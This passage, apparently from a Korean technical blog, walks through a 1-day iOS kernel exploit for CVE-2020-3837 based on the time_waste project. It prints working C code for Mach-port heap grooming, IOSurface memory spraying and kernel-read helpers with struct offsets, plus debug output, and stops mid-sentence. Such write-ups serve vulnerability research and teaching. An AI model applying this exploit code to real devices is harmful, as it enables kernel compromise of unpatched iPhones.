\ubc29\ubc95<\/h1>\n<p>\uac00\uc7a5 \ud070 \uc544\uc774\ub514\uc5b4\ub294 \ubc94\uc704\ub97c \ubc97\uc5b4\ub09c OOB \ud0c0\uc784\uc2a4\ud0ec\ud504 \uc4f0\uae30\ub97c \uc774\uc6a9\ud574 <code>ipc_kmsg<\/code>\uc758 \ud06c\uae30 \ud544\ub4dc\ub97c \uc190\uc0c1\uc2dc\ud0a4\ub294 \uac83\uc774\ub2e4.\nJakeashacks\ub2d8\uc774 \uc775\uc2a4\ud50c\ub85c\uc787\uc744 \uac1c\uc120\uc2dc\ud0a8 time_waste \ud504\ub85c\uc81d\ud2b8 \ucf54\ub4dc\ub97c \uac19\uc774 \ubcf4\uba74\uc11c \uc54c\uc544\ubcf4\uaca0\ub2e4.<\/p>\n<p>\uc6b0\uc120 \uba3c\uc800 200\uac1c\uc758 \ud3ec\ud2b8\ub97c <code>new_mach_port<\/code> \ud568\uc218\ub85c \ub9cc\ub4e0\ub2e4.<\/p>\n<p><code>new_mach_port<\/code>\ub294\n\uc0c8\ub85c\uc6b4 Mach \ud3ec\ud2b8\ub97c \uc218\uc2e0\uad8c\ud55c\uacfc \ud568\uaed8 \uba3c\uc800 \uc0dd\uc131\uc2dc\ud0a8\ub4a4,<\/p>\n<p>\uae30\uc874\uc758 receive right\ub85c\ubd80\ud130 send right\ub97c \uc0dd\uc131\ud558\uc5ec \uac19\uc740 \ud0dc\uc2a4\ud06c \uc774\ub984 \uacf5\uac04\uc5d0 \uc0bd\uc785\ud568\uc5d0 \ub530\ub77c send\/receive \uad8c\ud55c\uc744 \ub458\ub2e4 \uac00\uc9c0\uac8c \ub41c\ub2e4.<\/p>\n<p>\uadf8\ub7f0 \ub2e4\uc74c, \ud3ec\ud2b8\uc758 \ud050(\uc218\uc2e0 \ud050) \uc81c\ud55c\uc744 <code>MACH_PORT_QLIMIT_LARGE<\/code>(1024)\ub85c \ub298\ub9ac\uae30 \uc704\ud574 <code>mpl_qlimit<\/code> \ud544\ub4dc\ub97c \uc9c0\uc815\ud574\uc8fc\ub294 \uac83\uc73c\ub85c \ubcf4\uc778\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">mach_port_t new_mach_port() {\n    mach_port_t port = MACH_PORT_NULL;\n    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;port);\n    if (ret) {\n        printf(&quot;[-] failed to allocate port\\n&quot;);\n        return MACH_PORT_NULL;\n    }\n    \n    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);\n    if (ret) {\n        printf(&quot;[-] failed to insert right\\n&quot;);\n        mach_port_destroy(mach_task_self(), port);\n        return MACH_PORT_NULL;\n    }\n    \n    mach_port_limits_t limits = {0};\n    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;\n    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&amp;limits, MACH_PORT_LIMITS_INFO_COUNT);\n    if (ret) {\n        printf(&quot;[-] failed to increase queue limit\\n&quot;);\n        mach_port_destroy(mach_task_self(), port);\n        return MACH_PORT_NULL;\n    }\n    \n    return port;\n}\n<\/code><\/pre>\n<p>\uadf8\ub7ec\uba74 \uc774\uc81c <code>POP_PORT<\/code> \ub9e4\ud06c\ub85c\ub85c \ud558\ub098\uc529 \ud3ec\ud2b8\ub97c \uac00\uc838\uc62c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ setup 200 ports for later use\nfor (int i = 0; i &lt; 200; i++) {\n    ports[i] = new_mach_port();\n}\nint port_i = 0;\n\n#define POP_PORT() ports[port_i++]\n<\/code><\/pre>\n<h2>\ud799 \uadf8\ub8e8\ubc0d (Heap Grooming)<\/h2>\n<p><strong>\uc775\uc2a4\ud50c\ub85c\uc787\ub418\ub294 \uacfc\uc815\uc744 \ub354 \uc790\uc138\ud788 \uc0b4\ud3b4\ubcfc \uc218 \uc788\ub3c4\ub85d\n<code>ENABLE_HELPER<\/code> \ub9e4\ud06c\ub85c \ubd80\ubd84\uc5d0 \ucf54\ub4dc\ub97c \ucd94\uac00\ud574\ub193\uc558\ub2e4.<\/strong><\/p>\n<p><strong>\ud574\ub2f9 \ubd80\ubd84\uc744 \ud65c\uc131\ud654\uc2dc\ud0a4\uba74, \uc5b4\ub290 \uc8fc\uc18c\uc5d0 \ucee4\ub110\uba54\ubaa8\ub9ac\uac00 \ud560\ub2f9\ub41c\uac74\uc9c0 \uc27d\uac8c \uc54c \uc218 \uc788\ub2e4.<\/strong><\/p>\n<p>\ucf54\ub4dc\ub97c \ubcf4\uc558\uc744\ub584, \uc775\uc2a4\ud50c\ub85c\uc787 \ud558\uae30\uc804\uc5d0 \uc55e\uc11c \ud799 \uadf8\ub8e8\ubc0d\uc744 \uc218\ud589\ud558\ub294 \ub2e8\uacc4\ub85c \ubcf4\uc5ec\uc9c4\ub2e4.<\/p>\n<p>\ud799 \uadf8\ub8e8\ubc0d(Heap Grooming)\uc774\ub780, \ud560\ub2f9\uc790 allocator\uc758 \ub3d9\uc791\uc744 \uc870\uc791\ud574 \ud799 \ub808\uc774\uc544\uc6c3\uc744 \uc81c\uc5b4\ud558\uba70, \uc774\ud6c4 \ucde8\uc57d\uc810\uc744 \uc774\uc6a9\ud560\ub54c \uc6d0\ud558\ub294 \ub370\uc774\ud130\uac00 \ud2b9\uc815\uc704\uce58\uc5d0 \ub9cc\ub4e4\ub3c4\ub85d \ud558\ub294 \uae30\ubc95\uc744 \ub9d0\ud55c\ub2e4.<\/p>\n<p>\ucee4\ub110 \ud55c \ud398\uc774\uc9c0 \ud06c\uae30\uac00 4K\uc778\uc9c0, 16K\uc778\uc9c0\uc5d0 \ub530\ub77c \ucee4\ub110 \ud799 \uacf5\uaca9\uc774 \ub2e4\ub974\uac8c \uc774\ub8e8\uc5b4\uc9c0\ub294\ub370,\n\ud604\uc7ac \uc2dc\uc5f0\ub418\ub294 \uc544\uc774\ud3f08 \uae30\uae30\ub294 16K\uc774\ub2e4.<\/p>\n<p>\uc0dd\uc131\ub418\uc5c8\ub358 \uac01 10\uac1c\uc758 \ud3ec\ud2b8\ub85c 10MB\uc529 \ud3ec\ud2b8 \uba54\uc2dc\uc9c0\ub97c \ud560\ub2f9\uc2dc\ud0a4\uace0,\n\ud560\ub2f9\ub41c \uc601\uc5ed\uc744 \uad6c\ubd84\ud558\uae30 \uc704\ud574 <strong>0x72<\/strong> \ub610\ub294 <strong>0x74<\/strong> \ubc14\uc774\ud2b8 \ubc84\ud37c\ub4e4\ub85c \ucc44\uc6cc\uc9c0\uac8c\ub054 \ub9cc\ub4e4\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {\n    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;\n    struct simple_msg *msg = malloc(msg_size);\n    \n    memset(msg, 0, sizeof(struct simple_msg));\n    \n    msg-&gt;hdr.msgh_remote_port = destination;\n    msg-&gt;hdr.msgh_local_port = MACH_PORT_NULL;\n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_size = msg_size;\n    \n    memcpy(&amp;msg-&gt;buf[0], buffer, size);\n    \n    kern_return_t ret = mach_msg(&amp;msg-&gt;hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if (ret) {\n        printf(&quot;[-] failed to send message\\n&quot;);\n        mach_port_destroy(mach_task_self(), destination);\n        free(msg);\n        return ret;\n    }\n    free(msg);\n    return KERN_SUCCESS;\n}\n\n...\n\n\/\/ ----------- heap pre-exploit setup ----------- \/\/\n    INFO(&quot;Doing stage 0 heap setup\\n&quot;);\n\n\t\/\/ fill kalloc_map so new allocations are always done in kernel_map (where our buffer that will get overflowed is)\n    mach_port_t saved_ports[10];\n    mach_msg_size_t msg_size = message_size_for_kalloc_size(7 * pagesize) - sizeof(struct simple_msg);\n    data = calloc(1, msg_size);\n    size_t stage0_sz = pagesize == 0x4000 ? 10 MB : 5 MB;\n    for (int i = 0; i &lt; 10; i++) {\n        saved_ports[i] = POP_PORT();\n\n        #if ENABLE_HELPER\n        \/\/helper; set signature\n        if((i % 2) == 0) {memset(data, 0x74, msg_size);}\n        else {memset(data, 0x72, msg_size);}\n        #endif\n\n        for (int j = 0; j &lt; stage0_sz \/ (7 * pagesize); j++) {\n            \n            kern_return_t ret = send_message(saved_ports[i], data, msg_size);\n            \n            if (ret) {\n                ERROR(&quot;Failed to send message\\n&quot;);\n                goto err;\n            }\n        }\n\n        #if ENABLE_HELPER\n        \/\/helper; obtain msgdata_kptr\n        uint64_t kmsgdata_kptr = find_kmsgdata_from_port(saved_ports[i]);\n        INFO(&quot;saved_ports[%d](port=0x%x)'s msgdata_kptr = 0x%llx\\n&quot;, i, saved_ports[i], kmsgdata_kptr);\n        #endif\n    }\n    \n    \n    free(data);\n    data = NULL;\n\n    \/\/ we'll never do allocations smaller than 8 pages, so create some 7 page holes so the system can do small allocations there and leave us in peace\n    mach_port_destroy(mach_task_self(), saved_ports[0]);\n    mach_port_destroy(mach_task_self(), saved_ports[2]);\n    mach_port_destroy(mach_task_self(), saved_ports[4]);\n    mach_port_destroy(mach_task_self(), saved_ports[5]);\n    mach_port_destroy(mach_task_self(), saved_ports[7]);\n    mach_port_destroy(mach_task_self(), saved_ports[9]);\n\n    \/\/ make a bunch of 8 page allocations to ensure there are no holes that mess with our allocations\n    mach_port_t spray = POP_PORT();\n    msg_size = message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg);\n    data = calloc(1, msg_size);\n    \n    #if ENABLE_HELPER\n    \/\/helper; set signature\n    memset(data, 0x81, msg_size);\n    #endif\n\n    for (int i = 0; i &lt; MACH_PORT_QLIMIT_LARGE; i++) {  \/\/MACH_PORT_QLIMIT_LARGE = (1024)\n        kern_return_t ret = send_message(spray, data, msg_size);\n        if (ret) {\n            printf(&quot;[-] Failed to send message\\n&quot;);\n            goto err;\n        }\n    }\n\n    #if ENABLE_HELPER\n    \/\/helper; obtain msgdata_kptr \n    uint64_t kmsgdata_kptr = find_kmsgdata_from_port(spray);\n    INFO(&quot;spray(port=0x%x)'s msgdata_kptr = 0x%llx\\n&quot;, spray, kmsgdata_kptr);\n    \/\/ getchar();\n    \/\/\n    #endif\n<\/code><\/pre>\n<p>\uc5ec\uae30\uae4c\uc9c0 \uc2e4\ud589\ud574\ubd24\uc744\ub54c,\n\uac01 10\uac1c\uc758 \ud3ec\ud2b8\ub4e4\uc5d0 <strong>0x72 \ub610\ub294 0x74 \ubc84\ud37c\ub4e4<\/strong>\ub85c \uc774\ub8e8\uc5b4\uc9c4 \ucee4\ub110 \uba54\uc2dc\uc9c0 \uc8fc\uc18c\ub294 \ub2e4\uc74c\uacfc \uac19\uc774 \ub098\uc654\ub2e4.<\/p>\n<p><strong>saved_ports[6]<\/strong> \uc774\ud6c4\ubd80\ud130\ub294 \ucee4\ub110 \ud799 \ud560\ub2f9\uc774 <strong>0xffffffe0cXXXXXXX \ubd80\ud130 \uc81c\uacf5\ubc1b\ub294\uac83<\/strong>\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">[*] Doing stage 0 heap setup\n[*] saved_ports[0](port=0x1603)'s msgdata_kptr = 0xffffffe02cff7048\n[*] saved_ports[1](port=0x1703)'s msgdata_kptr = 0xffffffe02d9eb048\n[*] saved_ports[2](port=0x1803)'s msgdata_kptr = 0xffffffe02e3df048\n[*] saved_ports[3](port=0x2703)'s msgdata_kptr = 0xffffffe02edd3048\n[*] saved_ports[4](port=0x2603)'s msgdata_kptr = 0xffffffe02f7c7048\n[*] saved_ports[5](port=0x1903)'s msgdata_kptr = 0xffffffe0301bb048\n[*] saved_ports[6](port=0x1a03)'s msgdata_kptr = 0xffffffe0c395b048\n[*] saved_ports[7](port=0x2503)'s msgdata_kptr = 0xffffffe0c434f048\n[*] saved_ports[8](port=0x2403)'s msgdata_kptr = 0xffffffe0c4d43048\n[*] saved_ports[9](port=0x1b03)'s msgdata_kptr = 0xffffffe0c5737048\n<\/code><\/pre>\n<p>\ub2e4\uc74c\uc73c\ub85c, <strong><code>saved_ports[0, 2, 4, 5, 7, 9]<\/code><\/strong> \ucd1d 6\uac1c\uc758 \ud560\ub2f9\ubc1b\uc558\ub358 \ud3ec\ud2b8\ub97c \ud574\uc81c\ud55c\ub2e4.<\/p>\n<p>\uc911\uac04\uc911\uac04 \uc0ac\uc774\uc5d0 7\uac1c\uc758 \ud3ec\ud2b8\ub97c \ud574\uc81c\uc2dc\ud0a4\ub294\ub370,\n\ub9cc\uc57d \ub2e4\ub978 \ud504\ub85c\uc138\uc2a4\uac00 \ud560\ub2f9\ubc1b\uc744 \ub584 \uadf8\uacf3\uc5d0 \ud560\ub2f9\ubc1b\ub3c4\ub85d \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c\uc774\ub2e4.<\/p>\n<p>\uc55e\uc73c\ub85c 8\ud398\uc774\uc9c0\ubcf4\ub2e4 \uc791\uc740 \ud560\ub2f9\uc744 \ud558\uc9c4 \uc54a\uc744 \ud14c\ub2c8, 7\ud398\uc774\uc9c0 \ud06c\uae30\uc758 hole\uc744 \ub9cc\ub4e4\uc5b4\uc11c\n\uc2dc\uc2a4\ud15c\uc758 7\ud398\uc774\uc9c0 \uc774\ud558\uc758 \uc791\uc740 \ud560\ub2f9\uc774 \uadf8 hole\ub85c \uac00\ub3c4\ub85d \uc720\ub3c4\uc2dc\ud0a4\ub294 \uac83\uc73c\ub85c \ubcf4\uc778\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ we'll never do allocations smaller than 8 pages, so create some 7 page holes so the system can do small allocations there and leave us in peace\n    mach_port_destroy(mach_task_self(), saved_ports[0]);\n    mach_port_destroy(mach_task_self(), saved_ports[2]);\n    mach_port_destroy(mach_task_self(), saved_ports[4]);\n    mach_port_destroy(mach_task_self(), saved_ports[5]);\n    mach_port_destroy(mach_task_self(), saved_ports[7]);\n    mach_port_destroy(mach_task_self(), saved_ports[9]);\n<\/code><\/pre>\n<p><strong>\ud3ec\ud2b8 \ud558\ub098\uc5d0 kalloc \ud06c\uae30 = 8\ud398\uc774\uc9c0\uc778 \uba54\uc2dc\uc9c0\ub97c\n\ud050 \ub9ac\ubc0b\ub9cc\ud07c \ucc44\uc6cc \ucee4\ub110 \ud799\uc744 8\ud398\uc774\uc9c0 \ube14\ub85d\uc73c\ub85c \uaf49 \ucc44\uc6b0\ub294<\/strong> \uc791\uc5c5\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ make a bunch of 8 page allocations to ensure there are no holes that mess with our allocations\n    mach_port_t spray = POP_PORT();\n    msg_size = message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg);\n    data = calloc(1, msg_size);\n    \n    #if ENABLE_HELPER\n    \/\/helper; set signature\n    memset(data, 0x81, msg_size);\n    #endif\n\n    for (int i = 0; i &lt; MACH_PORT_QLIMIT_LARGE; i++) {  \/\/MACH_PORT_QLIMIT_LARGE = (1024)\n        kern_return_t ret = send_message(spray, data, msg_size);\n        if (ret) {\n            printf(&quot;[-] Failed to send message\\n&quot;);\n            goto err;\n        }\n    }\n\n    #if ENABLE_HELPER\n    \/\/helper; obtain msgdata_kptr \n    uint64_t kmsgdata_kptr = find_kmsgdata_from_port(spray);\n    INFO(&quot;spray(port=0x%x)'s msgdata_kptr = 0x%llx\\n&quot;, spray, kmsgdata_kptr);\n    \/\/ getchar();\n    \/\/\n    #endif\n<\/code><\/pre>\n<pre><code class=\"language-cpp\">[*] spray(port=0x1c03)'s msgdata_kptr = 0xffffffe02cff8048\n<\/code><\/pre>\n<h2>\ubcf8\uaca9\uc801\uc778 \ud799 \uad6c\uc131 \uc2dc\uc791<\/h2>\n<pre><code class=\"language-cpp\">    \/\/ ----------- heap stage 1 setup -----------\/\/\n    \n    INFO(&quot;Doing stage 1 heap setup\\n&quot;);\n<\/code><\/pre>\n<h2>1. IOSurface\ub97c \ud65c\uc6a9\ud55c 82MB \uba54\ubaa8\ub9ac\uc601\uc5ed \ud560\ub2f9<\/h2>\n<p>IOSurface\ub294 \uadf8\ub798\ud53d \ubc84\ud37c\uc758 \ucc98\ub9ac \ubc0f \uacc4\uc0b0\uc744 \ud558\uae30 \uc704\ud55c \uc6a9\ub3c4\ub85c \uc0ac\uc6a9\ub418\ub294 \ucee4\ub110 \ub4dc\ub77c\uc774\ubc84\uc774\ub2e4. \ud574\ub2f9 \ucee4\ub110 \ub4dc\ub77c\uc774\ubc84\uc640 \ud1b5\uc2e0\ud558\uae30 \uc704\ud574 UserClient\ub97c \uc5bb\uc73c\uba74, \uadf8 \ub4a4\ub85c\ub294 \ucee4\ub110\uc5d0 \ud799\uc744 \ud560\ub2f9\uc2dc\ud0a4\uac70\ub098 \uc2a4\ud504\ub808\uc774\ud558\ub294\ub370 \uc720\uc6a9\ud558\uac8c \uc4f0\uc778\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c \uc6b0\ub9ac\ub294 IOSurace\uc5d0\uc11c \uc81c\uacf5\ud558\ub294 \uba54\uc18c\ub4dc\uc778 <code>IOSurfaceRootUserClient::set_value<\/code> \ub97c \uc774\uc6a9\ud558\uc5ec 82M \ud06c\uae30\uc758 \ube48 \ub370\uc774\ud130\ub97c \uc801\uc7ac\uc2dc\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-cpp\"> int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key) {\n    uint32_t capacity = size \/ 16;\n    \n    if (capacity &gt; 0x00ffffff) {\n        printf(&quot;[-][IOSurface] Size too big for OSUnserializeBinary\\n&quot;);\n        return KERN_FAILURE;\n    }\n    \n    size_t args_size = sizeof(struct IOSurfaceValueArgs) + 9 * 4;\n    \n    struct IOSurfaceValueArgs *args = calloc(1, args_size);\n    args-&gt;surface_id = IOSurface_id;\n    \n    int i = 0;\n    args-&gt;xml[i++] = kOSSerializeBinarySignature;                            \/\/&lt;kOSSerializeBinarySignature \/&gt;\n    args-&gt;xml[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;      \/\/&lt;array capacity=&quot;2&quot;&gt;\n    args-&gt;xml[i++] = kOSSerializeDictionary | capacity;                      \/\/&lt;dict capacity=&quot;capacity&quot;&gt;\n    args-&gt;xml[i++] = kOSSerializeSymbol | 4;                                 \/\/&lt;sym len=&quot;4&quot;&gt;\n    args-&gt;xml[i++] = 0x00aabbcc;                                             \/\/\\xaa\\xbb\\xcc&lt;\/sym&gt;\n    args-&gt;xml[i++] = kOSSerializeBoolean | kOSSerializeEndCollection;        \/\/&lt;false\/&gt;&lt;\/dict&gt;\n    args-&gt;xml[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;     \/\/&lt;sym len=&quot;5&quot;&gt;\n    args-&gt;xml[i++] = kalloc_key;                                             \/\/key&lt;\/sym&gt;&lt;\/array&gt;\n    args-&gt;xml[i++] = 0;\n\n\/*\n    &lt;kOSSerializeBinarySignature \/&gt;\n    &lt;kOSSerializeArray&gt;2&lt;\/kOSSerializeArray&gt;\n    &lt;kOSSerializeDictionary capacity=${capacity}&gt;\n        &lt;kOSSerializeSymbol length=4&gt;\n            0x00aabbcc?\n        &lt;\/kOSSerializeSymbol&gt;\n        &lt;kOSSerializeBoolean&gt;false&lt;\/kOSSerializeBoolean&gt;\n    &lt;\/kOSSerializeDictionary&gt;\n    &lt;kOSSerializeSymbol length=5&gt;\n        ${kalloc_key}\n    &lt;\/kOSSerializeSymbol&gt;\n    0 \/\/ Null-terminate\n*\/\n    kern_return_t ret = IOSurface_set_value(args, args_size);\n    \n    free(args);\n    return ret;\n}\n\n...\n \n    int property_index = 0;\n    uint32_t huge_kalloc_key = transpose(property_index++);\n    ret = IOSurface_empty_kalloc(82 MB, huge_kalloc_key);\n    if (ret) {\n        ERROR(&quot;Failed to allocate empty kalloc buffer (ret: 0x%x, %s)\\n&quot;, ret, mach_error_string(ret));\n        goto err;\n    }\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%201.png\" alt=\"image.png\"><\/p>\n<p>IOSurface\ub97c \ud65c\uc6a9\ud558\uc5ec \uc801\uc7ac\ub41c \ub370\uc774\ud130\ub294 \uc5b4\ub290 \uc8fc\uc18c\uc5d0 \uc704\uce58\ud574\uc788\ub294\uc9c0 \uc5b4\ub5bb\uac8c \ud655\uc778\ud560 \uc218 \uc788\uc744\uae4c?<\/p>\n<p>\uc544\ub798\uc640 \uac19\uc774 \uc790\uae30 \ud504\ub85c\uc138\uc2a4\uc758 proc \uc8fc\uc18c\ub97c \ucc3e\uc740\ub4a4\uc5d0, \uad6c\uc870\uccb4 \ud544\ub4dc\uc5d0 \uc811\uadfc\ud568\uc73c\ub85c\uc368 IOSurfaceRootClient \uac1d\uccb4 \uc8fc\uc18c\uae4c\uc9c0 \uc811\uadfc\uc774 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/Screenshot_2025-09-10_at_12.56.12_AM.png\" alt=\"Screenshot 2025-09-10 at 12.56.12\u202fAM.png\"><\/p>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c, <code>IOSurfaceRootUserClient<\/code> \uac1d\uccb4\ubd80\ud130 \uad6c\uc870\uccb4 \ud544\ub4dc\uc5d0 \ucc28\ub808\ub85c \uc811\uadfc\ud568\uc73c\ub85c\uc368\n\uc801\uc7ac\ub41c 82MB \ud06c\uae30\uc758 OSDictionary \uac1d\uccb4\uae4c\uc9c0 \uc811\uadfc\uc774 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p>IOSurface.kext\uc758 \uacbd\uc6b0 &#8211; \uc624\ud508\uc18c\uc2a4\ub85c \uacf5\uac1c\ub418\uc788\uc9c0 \uc54a\uae30 \ub54c\ubb38\uc5d0 \uc57d\uac04\uc758 \ub9ac\ubc84\uc2f1\uc774 \ud544\uc694\ud558\uc600\ub2e4.<\/p>\n<p>\uc544\ub798\ub294 IOSurface\uc758 properties(=UserspaceValueDictionary) \ud544\ub4dc\uae4c\uc9c0 \uc811\uadfc\ud55c \uc7a5\uba74\uc774\uace0,<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%202.png\" alt=\"image.png\"><\/p>\n<p>\ucf54\ub4dc\ub85c \uad6c\ud604\ud558\uba74, \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">uint64_t port_to_kobject(mach_port_t port)\n{\n    uint64_t ipc_port = find_port(port);\n    uint64_t kobject = kread64(ipc_port + 0x68);    \/\/ 0x68 = p\/x offsetof(ipc_port, kdata.kobject)\n    return kobject;\n} \n\nuint64_t userdict_from_IOSurface(void) {\n\tuint64_t surfRoot = port_to_kobject(IOSurfaceRootUserClient);\n\t\/\/ INFO(&quot;surfRoot: 0x%llx\\n&quot;, surfRoot);\n\n\t\/\/ p\/x offsetof(IOSurfaceRootUserClient, IOSurfaceClientArray) = 0x118;\n\tuint64_t surfClients = kread64(surfRoot + 0x118);\n\t\/\/ INFO(&quot;surfClients: 0x%llx\\n&quot;, surfClients);\n\n\tuint64_t surfClient = kread64(surfClients + sizeof(uint64_t) * IOSurface_id);\n\t\/\/ INFO(&quot;surfClient: 0x%llx\\n&quot;, surfClient);\n\n\t\/\/ p\/x offsetof(IOSurfaceClient, IOSurface) = 0x40;\n\tuint64_t surface = kread64(surfClient + 0x40);\n\t\/\/ INFO(&quot;surface: 0x%llx\\n&quot;, surface);\n\n\t\/\/ p\/x offsetof(IOSurface, UserspaceValueDictionary) = 0xe8\n\tuint64_t userspaceValueDicts = kread64(surface + 0xe8);\n\n\tif(userspaceValueDicts != 0) return userspaceValueDicts;\n\n\treturn 0;\n}\n<\/code><\/pre>\n<p>properties(=UserspaceValueDictionary) \ud544\ub4dc\ub294 OSDictionary \ud0c0\uc785\uc774\ub2e4.<\/p>\n<p>pattern-f \uc528\uac00 \uad6c\ud604\ud55c kernel_fetch_dict \ud568\uc218\ub85c \ud30c\uc2f1\ud55c\ub2e4\uc74c\uc5d0\ub294<\/p>\n<pre><code class=\"language-cpp\">\/\/Thanks pattern-f, https:\/\/github.com\/pattern-f\/TQ-pre-jailbreak\/blob\/main\/mylib\/k_utils.c#L173\n\/\/found OSDictionary offsets from kernelcache.development.n71_151b3_6s\nstruct kOSDict *kernel_fetch_dict(uint64_t dict_addr)\n{\n    char obj[0x28];\n    kreadbuf(dict_addr, obj, sizeof(obj));\n    uint32_t cap = *(uint32_t *)(obj + 0x18); \/\/ 0x18 = p\/x offsetof(OSDictionary, capacity)\n    struct kOSDict *dict;\n    size_t alloc_size = sizeof(*dict) + cap * (sizeof(struct kDictEntry) + sizeof(char *) + 256);\n    dict = (struct kOSDict *)malloc(alloc_size);\n    dict-&gt;self_addr = dict_addr;\n    dict-&gt;cap = cap;\n    dict-&gt;count = *(uint32_t *)(obj + 0x14); \/\/ 0x14 = p\/x offsetof(OSDictionary, count)\n    dict-&gt;items_addr = kread64(dict_addr + 0x20); \/\/ 0x20 = p\/x offsetof(OSDictionary, dictionary)\n    char *ptr = dict-&gt;data;\n    dict-&gt;items = (struct kDictEntry *)ptr;\n    ptr += sizeof(struct kDictEntry) * dict-&gt;cap;\n    dict-&gt;names = (char **)ptr;\n    ptr += sizeof(char *) * dict-&gt;cap;\n    for (int i = 0; i &lt; dict-&gt;cap; i++) {\n        dict-&gt;names[i] = ptr;\n        ptr += 256;\n    }\n    INFO(&quot;dict %#llx, items %#llx, count %u, capacity %u\\n&quot;,\n            dict-&gt;self_addr, dict-&gt;items_addr, dict-&gt;count, dict-&gt;cap);\n\t\n    alloc_size = sizeof(struct kDictEntry) * dict-&gt;cap;\n    kreadbuf(dict-&gt;items_addr, dict-&gt;items, alloc_size);\n    for (int i = 0; i &lt; dict-&gt;count; i++) {\n        char obj[0x18];\n        kreadbuf(dict-&gt;items[i].key, obj, sizeof(obj));\n        \/\/ OSSymbol\n        uint32_t len = *(uint32_t *)(obj + 0xc) &gt;&gt; 14;\n        if (len &gt;= 256) {\n            len = 255;\n        }\n        uint64_t string = *(uint64_t *)(obj + 0x10);\t\/\/0x10 = p\/x offsetof(OSString, string)\n        kreadbuf(string, dict-&gt;names[i], len);\n        dict-&gt;names[i][len] = 0;\n        \/\/ INFO(&quot;    -&gt; %s\\n&quot;, dict-&gt;names[i]);\n    }\n    return dict;\n}\n\n<\/code><\/pre>\n<p>\uc774\uc81c \ub515\uc154\ub108\ub9ac \ub0b4\uc5d0 \uc788\ub294 \uc624\ube0c\uc81d\ud2b8 \uc8fc\uc18c\ub97c \uac00\uc838\uc62c \uc218 \uc788\ub2e4.<\/p>\n<p>\ud574\ub2f9 \uc624\ube0c\uc81d\ud2b8 \ud0c0\uc785\uc740 OSArray\uc774\uac70\ub098 OSDictionary \ub4f1\uc774 \ub420 \uc218 \uc788\ub294\ub370,<\/p>\n<pre><code class=\"language-cpp\">dict = kernel_fetch_dict(userspaceValueDicts);\n...\n    for (int i = 0; i &lt; dict-&gt;count; i++) {\n\t\tif(dict-&gt;items[i].value) {\n<\/code><\/pre>\n<p>\uc6b0\ub9ac\ub294 <code>args-&gt;xml[i++] = kOSSerializeDictionary | capacity;<\/code>\ucf54\ub4dc\ucc98\ub7fc <code>capacity<\/code>\uc640 \uac19\uc774 <code>kOSSerializeDictionary<\/code> \ub97c \uc120\uc5b8\ud558\uc5ec Dictionary\ub97c \uc2a4\ud504\ub808\uc774\ud558\uc600\uae30 \ub54c\ubb38\uc5d0, \ud574\ub2f9 \uad6c\uc870\uccb4\ub97c \uc54c\uc544\ubcf4\uba74 \ub41c\ub2e4.<\/p>\n<p>OSDictionary \uad6c\uc870\uccb4 \uc911 <code>capacity<\/code> \ud544\ub4dc\ub294 +0x18 \uc624\ud504\uc14b\uc5d0 \uc704\uce58\ud55c\ub2e4.<\/p>\n<p>\ud560\ub2f9\uc2dc\ud0a8 \uc601\uc5ed \ud06c\uae30\ub294 82MB\uc774\ubbc0\ub85c, \ud574\ub2f9 \ud06c\uae30\ub97c \ucc38\uace0\ud574\uc11c\nOSDictionary \uad6c\uc870\uccb4\uc758 capacity \ud544\ub4dc\ub97c \uc77d\uc5c8\uc744\ub54c \uc11c\ub85c \uc77c\uce58\ud558\ub294\uc9c0 \ud655\uc778\ud558\uba74 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">00000000 struct __cppobj OSDictionary : OSCollection \/\/ sizeof=0x28\n00000000 {\n00000014     unsigned int count;\n00000018     unsigned int capacity;\n0000001C     unsigned int capacityIncrement;\n00000020     OSDictionary::dictEntry *dictionary;\n00000028 };\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 OSDictionary::dictEntry \uad6c\uc870\uccb4 \uc911 <code>key<\/code> \ud544\ub4dc\uc758 \ud0c0\uc785\uc740 OSString\ub85c\ubd80\ud130 \uc0c1\uc18d\ubc1b\uc73c\uba70,\n\ud544\ub4dc\uc5d0 \ucc28\ub840\ub85c \uc811\uadfc\ud558\uc5ec OSString \uad6c\uc870\uccb4\uc758 <code>string<\/code> 